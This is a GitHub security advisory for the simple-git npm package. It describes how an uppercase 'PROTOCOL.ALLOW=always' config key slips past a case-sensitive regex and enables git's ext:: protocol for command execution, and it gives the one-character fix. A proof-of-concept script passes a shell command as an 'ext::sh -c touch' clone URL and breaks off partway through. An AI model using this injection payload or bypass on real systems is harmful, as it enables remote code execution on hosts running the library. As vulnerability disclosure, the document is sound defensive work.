GitHub Security Advisory: GHSA-r275-fr43-pm7q
Package: simple-git (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-178: Improper Handling of Case Sensitivity
Vulnerable versions: >= 3.15.0, < 3.32.3
Patched in: 3.32.3

Summary: simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE

Details:
### Summary

The `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an
arbitrary OS command on the host machine.

---

### Details

The `preventProtocolOverride` function in
`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)
checks whether a `-c` argument configures `protocol.allow` using this regex:

```ts
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}
```

This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.

**Verification that git normalises the key:**

```bash
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always
```

**The fix is a single character — add the `/i` flag:**

```ts
// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {
```

---

## poc.js

```js
/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git